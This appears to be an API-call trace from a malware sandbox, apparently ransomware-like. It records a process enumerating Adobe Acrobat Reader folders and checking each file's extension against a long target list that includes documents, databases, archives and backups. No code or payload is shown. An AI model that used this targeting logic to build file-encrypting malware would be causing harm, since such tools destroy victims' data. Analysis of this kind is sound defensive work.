lpFindFileData=0x2e8df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefdd469f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefdd469f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefdfa6fb, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sv-se", cAlternateFileName="")) returned 1 [0276.587] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\nls\\sv-se") returned 113 [0276.587] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\nls\\sv-se") returned 1 [0276.587] lstrlenW (lpString="sv-se") returned 5 [0276.587] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="sv-se") returned -1 [0276.587] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x4235db0 [0276.587] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\nls\\sv-se") returned 113 [0276.587] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\nls\\sv-se\\*", lpFindFileData=0x2e8dcac | out: lpFindFileData=0x2e8dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefdd469f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefdd469f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefdfa6fb, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x3315570 [0276.587] FindNextFileW (in: hFindFile=0x3315570, lpFindFileData=0x2e8dcac | out: lpFindFileData=0x2e8dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefdd469f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefdd469f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefdfa6fb, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0276.587] FindNextFileW (in: hFindFile=0x3315570, lpFindFileData=0x2e8dcac | out: lpFindFileData=0x2e8dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xefdfa6fb, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefdfa6fb, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefdfa6fb, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0xb53d, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0276.587] lstrlenW (lpString="ui-strings.js") returned 13 [0276.587] lstrlenW (lpString=".1cd") returned 4 [0276.587] lstrcmpiW (lpString1=".1cd", lpString2="s.js") returned -1 [0276.587] lstrlenW (lpString=".3ds") returned 4 [0276.587] lstrcmpiW (lpString1=".3ds", lpString2="s.js") returned -1 [0276.587] lstrlenW (lpString=".3fr") returned 4 [0276.587] lstrcmpiW (lpString1=".3fr", lpString2="s.js") returned -1 [0276.588] lstrlenW (lpString=".3g2") returned 4 [0276.588] lstrcmpiW (lpString1=".3g2", lpString2="s.js") returned -1 [0276.588] lstrlenW (lpString=".3gp") returned 4 [0276.588] lstrcmpiW (lpString1=".3gp", lpString2="s.js") returned -1 [0276.588] lstrlenW (lpString=".7z") returned 3 [0276.588] lstrcmpiW (lpString1=".7z", lpString2=".js") returned -1 [0276.588] lstrlenW (lpString=".accda") returned 6 [0276.588] lstrcmpiW (lpString1=".accda", lpString2="ngs.js") returned -1 [0276.588] lstrlenW (lpString=".accdb") returned 6 [0276.588] lstrcmpiW (lpString1=".accdb", lpString2="ngs.js") returned -1 [0276.588] lstrlenW (lpString=".accdc") returned 6 [0276.588] lstrcmpiW (lpString1=".accdc", lpString2="ngs.js") returned -1 [0276.588] lstrlenW (lpString=".accde") returned 6 [0276.588] lstrcmpiW (lpString1=".accde", lpString2="ngs.js") returned -1 [0276.588] lstrlenW (lpString=".accdt") returned 6 [0276.588] lstrcmpiW (lpString1=".accdt", lpString2="ngs.js") returned -1 [0276.588] lstrlenW (lpString=".accdw") returned 6 [0276.588] lstrcmpiW (lpString1=".accdw", lpString2="ngs.js") returned -1 [0276.588] lstrlenW (lpString=".adb") returned 4 [0276.588] lstrcmpiW (lpString1=".adb", lpString2="s.js") returned -1 [0276.588] lstrlenW (lpString=".adp") returned 4 [0276.588] lstrcmpiW (lpString1=".adp", lpString2="s.js") returned -1 [0276.589] lstrlenW (lpString=".ai") returned 3 [0276.589] lstrcmpiW (lpString1=".ai", lpString2=".js") returned -1 [0276.589] lstrlenW (lpString=".ai3") returned 4 [0276.589] lstrcmpiW (lpString1=".ai3", lpString2="s.js") returned -1 [0276.589] lstrlenW (lpString=".ai4") returned 4 [0276.589] lstrcmpiW (lpString1=".ai4", lpString2="s.js") returned -1 [0276.589] lstrlenW (lpString=".ai5") returned 4 [0276.589] lstrcmpiW (lpString1=".ai5", lpString2="s.js") returned -1 [0276.589] lstrlenW (lpString=".ai6") returned 4 [0276.589] lstrcmpiW (lpString1=".ai6", lpString2="s.js") returned -1 [0276.589] lstrlenW (lpString=".ai7") returned 4 [0276.589] lstrcmpiW (lpString1=".ai7", lpString2="s.js") returned -1 [0276.589] lstrlenW (lpString=".ai8") returned 4 [0276.589] lstrcmpiW (lpString1=".ai8", lpString2="s.js") returned -1 [0276.589] lstrlenW (lpString=".anim") returned 5 [0276.589] lstrcmpiW (lpString1=".anim", lpString2="gs.js") returned -1 [0276.589] lstrlenW (lpString=".arw") returned 4 [0276.589] lstrcmpiW (lpString1=".arw", lpString2="s.js") returned -1 [0276.589] lstrlenW (lpString=".as") returned 3 [0276.589] lstrcmpiW (lpString1=".as", lpString2=".js") returned -1 [0276.589] lstrlenW (lpString=".asa") returned 4 [0276.589] lstrcmpiW (lpString1=".asa", lpString2="s.js") returned -1 [0276.589] lstrlenW (lpString=".asc") returned 4 [0276.589] lstrcmpiW (lpString1=".asc", lpString2="s.js") returned -1 [0276.589] lstrlenW (lpString=".ascx") returned 5 [0276.590] lstrcmpiW (lpString1=".ascx", lpString2="gs.js") returned -1 [0276.590] lstrlenW (lpString=".asm") returned 4 [0276.590] lstrcmpiW (lpString1=".asm", lpString2="s.js") returned -1 [0276.590] lstrlenW (lpString=".asmx") returned 5 [0276.590] lstrcmpiW (lpString1=".asmx", lpString2="gs.js") returned -1 [0276.590] lstrlenW (lpString=".asp") returned 4 [0276.590] lstrcmpiW (lpString1=".asp", lpString2="s.js") returned -1 [0276.590] lstrlenW (lpString=".aspx") returned 5 [0276.590] lstrcmpiW (lpString1=".aspx", lpString2="gs.js") returned -1 [0276.590] lstrlenW (lpString=".asr") returned 4 [0276.590] lstrcmpiW (lpString1=".asr", lpString2="s.js") returned -1 [0276.590] lstrlenW (lpString=".asx") returned 4 [0276.590] lstrcmpiW (lpString1=".asx", lpString2="s.js") returned -1 [0276.590] lstrlenW (lpString=".avi") returned 4 [0276.590] lstrcmpiW (lpString1=".avi", lpString2="s.js") returned -1 [0276.590] lstrlenW (lpString=".avs") returned 4 [0276.590] lstrcmpiW (lpString1=".avs", lpString2="s.js") returned -1 [0276.590] lstrlenW (lpString=".backup") returned 7 [0276.590] lstrcmpiW (lpString1=".backup", lpString2="ings.js") returned -1 [0276.590] lstrlenW (lpString=".bak") returned 4 [0276.590] lstrcmpiW (lpString1=".bak", lpString2="s.js") returned -1 [0276.590] lstrlenW (lpString=".bay") returned 4 [0276.590] lstrcmpiW (lpString1=".bay", lpString2="s.js") returned -1 [0276.590] lstrlenW (lpString=".bd") returned 3 [0276.590] lstrcmpiW (lpString1=".bd", lpString2=".js") returned -1 [0276.591] lstrlenW (lpString=".bin") returned 4 [0276.591] lstrcmpiW (lpString1=".bin", lpString2="s.js") returned -1 [0276.591] lstrlenW (lpString=".bmp") returned 4 [0276.591] lstrcmpiW (lpString1=".bmp", lpString2="s.js") returned -1 [0276.591] lstrlenW (lpString=".bz2") returned 4 [0276.591] lstrcmpiW (lpString1=".bz2", lpString2="s.js") returned -1 [0276.591] lstrlenW (lpString=".c") returned 2 [0276.591] lstrcmpiW (lpString1=".c", lpString2="js") returned -1 [0276.591] lstrlenW (lpString=".cdr") returned 4 [0276.591] lstrcmpiW (lpString1=".cdr", lpString2="s.js") returned -1 [0276.591] lstrlenW (lpString=".cer") returned 4 [0276.591] lstrcmpiW (lpString1=".cer", lpString2="s.js") returned -1 [0276.591] lstrlenW (lpString=".cf") returned 3 [0276.591] lstrcmpiW (lpString1=".cf", lpString2=".js") returned -1 [0276.591] lstrlenW (lpString=".cfc") returned 4 [0276.591] lstrcmpiW (lpString1=".cfc", lpString2="s.js") returned -1 [0276.591] lstrlenW (lpString=".cfm") returned 4 [0276.591] lstrcmpiW (lpString1=".cfm", lpString2="s.js") returned -1 [0276.591] lstrlenW (lpString=".cfml") returned 5 [0276.591] lstrcmpiW (lpString1=".cfml", lpString2="gs.js") returned -1 [0276.591] lstrlenW (lpString=".cfu") returned 4 [0276.591] lstrcmpiW (lpString1=".cfu", lpString2="s.js") returned -1 [0276.591] lstrlenW (lpString=".chm") returned 4 [0276.591] lstrcmpiW (lpString1=".chm", lpString2="s.js") returned -1 [0276.591] lstrlenW (lpString=".cin") returned 4 [0276.591] lstrcmpiW (lpString1=".cin", lpString2="s.js") returned -1 [0276.592] lstrlenW (lpString=".class") returned 6 [0276.592] lstrcmpiW (lpString1=".class", lpString2="ngs.js") returned -1 [0276.592] lstrlenW (lpString=".clx") returned 4 [0276.592] lstrcmpiW (lpString1=".clx", lpString2="s.js") returned -1 [0276.592] lstrlenW (lpString=".config") returned 7 [0276.592] lstrcmpiW (lpString1=".config", lpString2="ings.js") returned -1 [0276.592] lstrlenW (lpString=".cpp") returned 4 [0276.592] lstrcmpiW (lpString1=".cpp", lpString2="s.js") returned -1 [0276.592] lstrlenW (lpString=".cr2") returned 4 [0276.592] lstrcmpiW (lpString1=".cr2", lpString2="s.js") returned -1 [0276.592] lstrlenW (lpString=".crt") returned 4 [0276.592] lstrcmpiW (lpString1=".crt", lpString2="s.js") returned -1 [0276.592] lstrlenW (lpString=".crw") returned 4 [0276.592] lstrcmpiW (lpString1=".crw", lpString2="s.js") returned -1 [0276.592] lstrlenW (lpString=".cs") returned 3 [0276.592] lstrcmpiW (lpString1=".cs", lpString2=".js") returned -1 [0276.592] lstrlenW (lpString=".css") returned 4 [0276.592] lstrcmpiW (lpString1=".css", lpString2="s.js") returned -1 [0276.592] lstrlenW (lpString=".csv") returned 4 [0276.592] lstrcmpiW (lpString1=".csv", lpString2="s.js") returned -1 [0276.592] lstrlenW (lpString=".cub") returned 4 [0276.592] lstrcmpiW (lpString1=".cub", lpString2="s.js") returned -1 [0276.592] lstrlenW (lpString=".dae") returned 4 [0276.592] lstrcmpiW (lpString1=".dae", lpString2="s.js") returned -1 [0276.592] lstrlenW (lpString=".dat") returned 4 [0276.592] lstrcmpiW (lpString1=".dat", lpString2="s.js") returned -1 [0276.592] lstrlenW (lpString=".db") returned 3 [0276.592] lstrcmpiW (lpString1=".db", lpString2=".js") returned -1 [0276.593] lstrlenW (lpString=".dbf") returned 4 [0276.593] lstrcmpiW (lpString1=".dbf", lpString2="s.js") returned -1 [0276.593] lstrlenW (lpString=".dbx") returned 4 [0276.593] lstrcmpiW (lpString1=".dbx", lpString2="s.js") returned -1 [0276.593] lstrlenW (lpString=".dc3") returned 4 [0276.593] lstrcmpiW (lpString1=".dc3", lpString2="s.js") returned -1 [0276.593] lstrlenW (lpString=".dcm") returned 4 [0276.593] lstrcmpiW (lpString1=".dcm", lpString2="s.js") returned -1 [0276.593] lstrlenW (lpString=".dcr") returned 4 [0276.593] lstrcmpiW (lpString1=".dcr", lpString2="s.js") returned -1 [0276.593] lstrlenW (lpString=".der") returned 4 [0276.593] lstrcmpiW (lpString1=".der", lpString2="s.js") returned -1 [0276.593] lstrlenW (lpString=".dib") returned 4 [0276.593] lstrcmpiW (lpString1=".dib", lpString2="s.js") returned -1 [0276.593] lstrlenW (lpString=".dic") returned 4 [0276.593] lstrcmpiW (lpString1=".dic", lpString2="s.js") returned -1 [0276.593] lstrlenW (lpString=".dif") returned 4 [0276.593] lstrcmpiW (lpString1=".dif", lpString2="s.js") returned -1 [0276.593] lstrlenW (lpString=".divx") returned 5 [0276.593] lstrcmpiW (lpString1=".divx", lpString2="gs.js") returned -1 [0276.593] lstrlenW (lpString=".djvu") returned 5 [0276.593] lstrcmpiW (lpString1=".djvu", lpString2="gs.js") returned -1 [0276.593] lstrlenW (lpString=".dng") returned 4 [0276.593] lstrcmpiW (lpString1=".dng", lpString2="s.js") returned -1 [0276.593] lstrlenW (lpString=".doc") returned 4 [0276.594] lstrcmpiW (lpString1=".doc", lpString2="s.js") returned -1 [0276.594] lstrlenW (lpString=".docm") returned 5 [0276.594] lstrcmpiW (lpString1=".docm", lpString2="gs.js") returned -1 [0276.594] lstrlenW (lpString=".docx") returned 5 [0276.594] lstrcmpiW (lpString1=".docx", lpString2="gs.js") returned -1 [0276.594] lstrlenW (lpString=".dot") returned 4 [0276.594] lstrcmpiW (lpString1=".dot", lpString2="s.js") returned -1 [0276.594] lstrlenW (lpString=".dotm") returned 5 [0276.594] lstrcmpiW (lpString1=".dotm", lpString2="gs.js") returned -1 [0276.594] lstrlenW (lpString=".dotx") returned 5 [0276.594] lstrcmpiW (lpString1=".dotx", lpString2="gs.js") returned -1 [0276.594] lstrlenW (lpString=".dpx") returned 4 [0276.594] lstrcmpiW (lpString1=".dpx", lpString2="s.js") returned -1 [0276.594] lstrlenW (lpString=".dqy") returned 4 [0276.594] lstrcmpiW (lpString1=".dqy", lpString2="s.js") returned -1 [0276.595] lstrlenW (lpString=".dsn") returned 4 [0276.595] lstrcmpiW (lpString1=".dsn", lpString2="s.js") returned -1 [0276.595] lstrlenW (lpString=".dt") returned 3 [0276.595] lstrcmpiW (lpString1=".dt", lpString2=".js") returned -1 [0276.595] lstrlenW (lpString=".dtd") returned 4 [0276.595] lstrcmpiW (lpString1=".dtd", lpString2="s.js") returned -1 [0276.595] lstrlenW (lpString=".dwg") returned 4 [0276.595] lstrcmpiW (lpString1=".dwg", lpString2="s.js") returned -1 [0276.595] lstrlenW (lpString=".dwt") returned 4 [0276.595] lstrcmpiW (lpString1=".dwt", lpString2="s.js") returned -1 [0276.595] lstrlenW (lpString=".dx") returned 3 [0276.595] lstrcmpiW (lpString1=".dx", lpString2=".js") returned -1 [0276.595] lstrlenW (lpString=".dxf") returned 4 [0276.595] lstrcmpiW (lpString1=".dxf", lpString2="s.js") returned -1 [0276.595] lstrlenW (lpString=".edml") returned 5 [0276.595] lstrcmpiW (lpString1=".edml", lpString2="gs.js") returned -1 [0276.595] lstrlenW (lpString=".efd") returned 4 [0276.595] lstrcmpiW (lpString1=".efd", lpString2="s.js") returned -1 [0276.595] lstrlenW (lpString=".elf") returned 4 [0276.595] lstrcmpiW (lpString1=".elf", lpString2="s.js") returned -1 [0276.595] lstrlenW (lpString=".emf") returned 4 [0276.595] lstrcmpiW (lpString1=".emf", lpString2="s.js") returned -1 [0276.595] lstrlenW (lpString=".emz") returned 4 [0276.595] lstrcmpiW (lpString1=".emz", lpString2="s.js") returned -1 [0276.596] FindNextFileW (in: hFindFile=0x3315570, lpFindFileData=0x2e8dcac | out: lpFindFileData=0x2e8dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xefdfa6fb, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefdfa6fb, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefdfa6fb, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0xb53d, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0276.596] FindClose (in: hFindFile=0x3315570 | out: hFindFile=0x3315570) returned 1 [0276.596] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4235db0 | out: hHeap=0x670000) returned 1 [0276.596] FindNextFileW (in: hFindFile=0x33158f0, lpFindFileData=0x2e8df28 | out: lpFindFileData=0x2e8df28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xefdd469f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefdd469f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefdd469f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x41a, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0276.596] FindNextFileW (in: hFindFile=0x33158f0, lpFindFileData=0x2e8df28 | out: lpFindFileData=0x2e8df28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xefdd469f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefdd469f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefdd469f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x41a, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0276.596] FindClose (in: hFindFile=0x33158f0 | out: hFindFile=0x33158f0) returned 1 [0276.596] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x42b0fd0 | out: hHeap=0x670000) returned 1 [0276.596] FindNextFileW (in: hFindFile=0x33156f0, lpFindFileData=0x2e8e1a4 | out: lpFindFileData=0x2e8e1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefe46ba5, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefe46ba5, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeff9e0af, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="plugins", cAlternateFileName="")) returned 1 [0276.596] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x42b0fd0 [0276.596] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\plugins") returned 111 [0276.596] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\plugins\\*", lpFindFileData=0x2e8df28 | out: lpFindFileData=0x2e8df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefe46ba5, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefe46ba5, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeff9e0af, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3315b30 [0276.597] FindNextFileW (in: hFindFile=0x3315b30, lpFindFileData=0x2e8df28 | out: lpFindFileData=0x2e8df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefe46ba5, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefe46ba5, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeff9e0af, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0276.597] FindNextFileW (in: hFindFile=0x3315b30, lpFindFileData=0x2e8df28 | out: lpFindFileData=0x2e8df28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xefe46ba5, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefe46ba5, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefedf550, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x2b920, dwReserved0=0x0, dwReserved1=0x0, cFileName="convertpdf-selector.js", cAlternateFileName="CONVER~2.JS")) returned 1 [0276.597] lstrlenW (lpString="convertpdf-selector.js") returned 22 [0276.597] lstrlenW (lpString=".1cd") returned 4 [0276.597] lstrcmpiW (lpString1=".1cd", lpString2="r.js") returned -1 [0276.597] lstrlenW (lpString=".3ds") returned 4 [0276.597] lstrcmpiW (lpString1=".3ds", lpString2="r.js") returned -1 [0276.597] lstrlenW (lpString=".3fr") returned 4 [0276.597] lstrcmpiW (lpString1=".3fr", lpString2="r.js") returned -1 [0276.597] lstrlenW (lpString=".3g2") returned 4 [0276.597] lstrcmpiW (lpString1=".3g2", lpString2="r.js") returned -1 [0276.597] lstrlenW (lpString=".3gp") returned 4 [0276.597] lstrcmpiW (lpString1=".3gp", lpString2="r.js") returned -1 [0276.597] lstrlenW (lpString=".7z") returned 3 [0276.597] lstrcmpiW (lpString1=".7z", lpString2=".js") returned -1 [0276.597] lstrlenW (lpString=".accda") returned 6 [0276.597] lstrcmpiW (lpString1=".accda", lpString2="tor.js") returned -1 [0276.597] lstrlenW (lpString=".accdb") returned 6 [0276.597] lstrcmpiW (lpString1=".accdb", lpString2="tor.js") returned -1 [0276.598] lstrlenW (lpString=".accdc") returned 6 [0276.598] lstrcmpiW (lpString1=".accdc", lpString2="tor.js") returned -1 [0276.598] lstrlenW (lpString=".accde") returned 6 [0276.598] lstrcmpiW (lpString1=".accde", lpString2="tor.js") returned -1 [0276.598] lstrlenW (lpString=".accdt") returned 6 [0276.598] lstrcmpiW (lpString1=".accdt", lpString2="tor.js") returned -1 [0276.598] lstrlenW (lpString=".accdw") returned 6 [0276.598] lstrcmpiW (lpString1=".accdw", lpString2="tor.js") returned -1 [0276.598] lstrlenW (lpString=".adb") returned 4 [0276.598] lstrcmpiW (lpString1=".adb", lpString2="r.js") returned -1 [0276.598] lstrlenW (lpString=".adp") returned 4 [0276.598] lstrcmpiW (lpString1=".adp", lpString2="r.js") returned -1 [0276.598] lstrlenW (lpString=".ai") returned 3 [0276.598] lstrcmpiW (lpString1=".ai", lpString2=".js") returned -1 [0276.598] lstrlenW (lpString=".ai3") returned 4 [0276.598] lstrcmpiW (lpString1=".ai3", lpString2="r.js") returned -1 [0276.598] lstrlenW (lpString=".ai4") returned 4 [0276.598] lstrcmpiW (lpString1=".ai4", lpString2="r.js") returned -1 [0276.598] lstrlenW (lpString=".ai5") returned 4 [0276.598] lstrcmpiW (lpString1=".ai5", lpString2="r.js") returned -1 [0276.598] lstrlenW (lpString=".ai6") returned 4 [0276.598] lstrcmpiW (lpString1=".ai6", lpString2="r.js") returned -1 [0276.598] lstrlenW (lpString=".ai7") returned 4 [0276.598] lstrcmpiW (lpString1=".ai7", lpString2="r.js") returned -1 [0276.598] lstrlenW (lpString=".ai8") returned 4 [0276.598] lstrcmpiW (lpString1=".ai8", lpString2="r.js") returned -1 [0276.599] lstrlenW (lpString=".anim") returned 5 [0276.599] lstrcmpiW (lpString1=".anim", lpString2="or.js") returned -1 [0276.599] lstrlenW (lpString=".arw") returned 4 [0276.599] lstrcmpiW (lpString1=".arw", lpString2="r.js") returned -1 [0276.599] lstrlenW (lpString=".as") returned 3 [0276.599] lstrcmpiW (lpString1=".as", lpString2=".js") returned -1 [0276.599] lstrlenW (lpString=".asa") returned 4 [0276.599] lstrcmpiW (lpString1=".asa", lpString2="r.js") returned -1 [0276.599] lstrlenW (lpString=".asc") returned 4 [0276.599] lstrcmpiW (lpString1=".asc", lpString2="r.js") returned -1 [0276.599] lstrlenW (lpString=".ascx") returned 5 [0276.599] lstrcmpiW (lpString1=".ascx", lpString2="or.js") returned -1 [0276.599] lstrlenW (lpString=".asm") returned 4 [0276.599] lstrcmpiW (lpString1=".asm", lpString2="r.js") returned -1 [0276.599] lstrlenW (lpString=".asmx") returned 5 [0276.599] lstrcmpiW (lpString1=".asmx", lpString2="or.js") returned -1 [0276.599] lstrlenW (lpString=".asp") returned 4 [0276.599] lstrcmpiW (lpString1=".asp", lpString2="r.js") returned -1 [0276.599] lstrlenW (lpString=".aspx") returned 5 [0276.599] lstrcmpiW (lpString1=".aspx", lpString2="or.js") returned -1 [0276.599] lstrlenW (lpString=".asr") returned 4 [0276.599] lstrcmpiW (lpString1=".asr", lpString2="r.js") returned -1 [0276.599] lstrlenW (lpString=".asx") returned 4 [0276.599] lstrcmpiW (lpString1=".asx", lpString2="r.js") returned -1 [0276.599] lstrlenW (lpString=".avi") returned 4 [0276.599] lstrcmpiW (lpString1=".avi", lpString2="r.js") returned -1 [0276.600] lstrlenW (lpString=".avs") returned 4 [0276.600] lstrcmpiW (lpString1=".avs", lpString2="r.js") returned -1 [0276.600] lstrlenW (lpString=".backup") returned 7 [0276.600] lstrcmpiW (lpString1=".backup", lpString2="ctor.js") returned -1 [0276.600] lstrlenW (lpString=".bak") returned 4 [0276.600] lstrcmpiW (lpString1=".bak", lpString2="r.js") returned -1 [0276.600] lstrlenW (lpString=".bay") returned 4 [0276.600] lstrcmpiW (lpString1=".bay", lpString2="r.js") returned -1 [0276.600] lstrlenW (lpString=".bd") returned 3 [0276.600] lstrcmpiW (lpString1=".bd", lpString2=".js") returned -1 [0276.600] lstrlenW (lpString=".bin") returned 4 [0276.600] lstrcmpiW (lpString1=".bin", lpString2="r.js") returned -1 [0276.600] lstrlenW (lpString=".bmp") returned 4 [0276.600] lstrcmpiW (lpString1=".bmp", lpString2="r.js") returned -1 [0276.600] lstrlenW (lpString=".bz2") returned 4 [0276.600] lstrcmpiW (lpString1=".bz2", lpString2="r.js") returned -1 [0276.600] lstrlenW (lpString=".c") returned 2 [0276.600] lstrcmpiW (lpString1=".c", lpString2="js") returned -1 [0276.600] lstrlenW (lpString=".cdr") returned 4 [0276.600] lstrcmpiW (lpString1=".cdr", lpString2="r.js") returned -1 [0276.600] lstrlenW (lpString=".cer") returned 4 [0276.600] lstrcmpiW (lpString1=".cer", lpString2="r.js") returned -1 [0276.600] lstrlenW (lpString=".cf") returned 3 [0276.600] lstrcmpiW (lpString1=".cf", lpString2=".js") returned -1 [0276.600] lstrlenW (lpString=".cfc") returned 4 [0276.600] lstrcmpiW (lpString1=".cfc", lpString2="r.js") returned -1 [0276.600] lstrlenW (lpString=".cfm") returned 4 [0276.601] lstrcmpiW (lpString1=".cfm", lpString2="r.js") returned -1 [0276.601] lstrlenW (lpString=".cfml") returned 5 [0276.601] lstrcmpiW (lpString1=".cfml", lpString2="or.js") returned -1 [0276.601] lstrlenW (lpString=".cfu") returned 4 [0276.601] lstrcmpiW (lpString1=".cfu", lpString2="r.js") returned -1 [0276.601] lstrlenW (lpString=".chm") returned 4 [0276.601] lstrcmpiW (lpString1=".chm", lpString2="r.js") returned -1 [0276.601] lstrlenW (lpString=".cin") returned 4 [0276.601] lstrcmpiW (lpString1=".cin", lpString2="r.js") returned -1 [0276.601] lstrlenW (lpString=".class") returned 6 [0276.601] lstrcmpiW (lpString1=".class", lpString2="tor.js") returned -1 [0276.601] lstrlenW (lpString=".clx") returned 4 [0276.601] lstrcmpiW (lpString1=".clx", lpString2="r.js") returned -1 [0276.601] lstrlenW (lpString=".config") returned 7 [0276.601] lstrcmpiW (lpString1=".config", lpString2="ctor.js") returned -1 [0276.601] lstrlenW (lpString=".cpp") returned 4 [0276.601] lstrcmpiW (lpString1=".cpp", lpString2="r.js") returned -1 [0276.601] lstrlenW (lpString=".cr2") returned 4 [0276.601] lstrcmpiW (lpString1=".cr2", lpString2="r.js") returned -1 [0276.601] lstrlenW (lpString=".crt") returned 4 [0276.601] lstrcmpiW (lpString1=".crt", lpString2="r.js") returned -1 [0276.601] lstrlenW (lpString=".crw") returned 4 [0276.601] lstrcmpiW (lpString1=".crw", lpString2="r.js") returned -1 [0276.601] lstrlenW (lpString=".cs") returned 3 [0276.601] lstrcmpiW (lpString1=".cs", lpString2=".js") returned -1 [0276.602] lstrlenW (lpString=".css") returned 4 [0276.602] lstrcmpiW (lpString1=".css", lpString2="r.js") returned -1 [0276.602] lstrlenW (lpString=".csv") returned 4 [0276.602] lstrcmpiW (lpString1=".csv", lpString2="r.js") returned -1 [0276.602] lstrlenW (lpString=".cub") returned 4 [0276.602] lstrcmpiW (lpString1=".cub", lpString2="r.js") returned -1 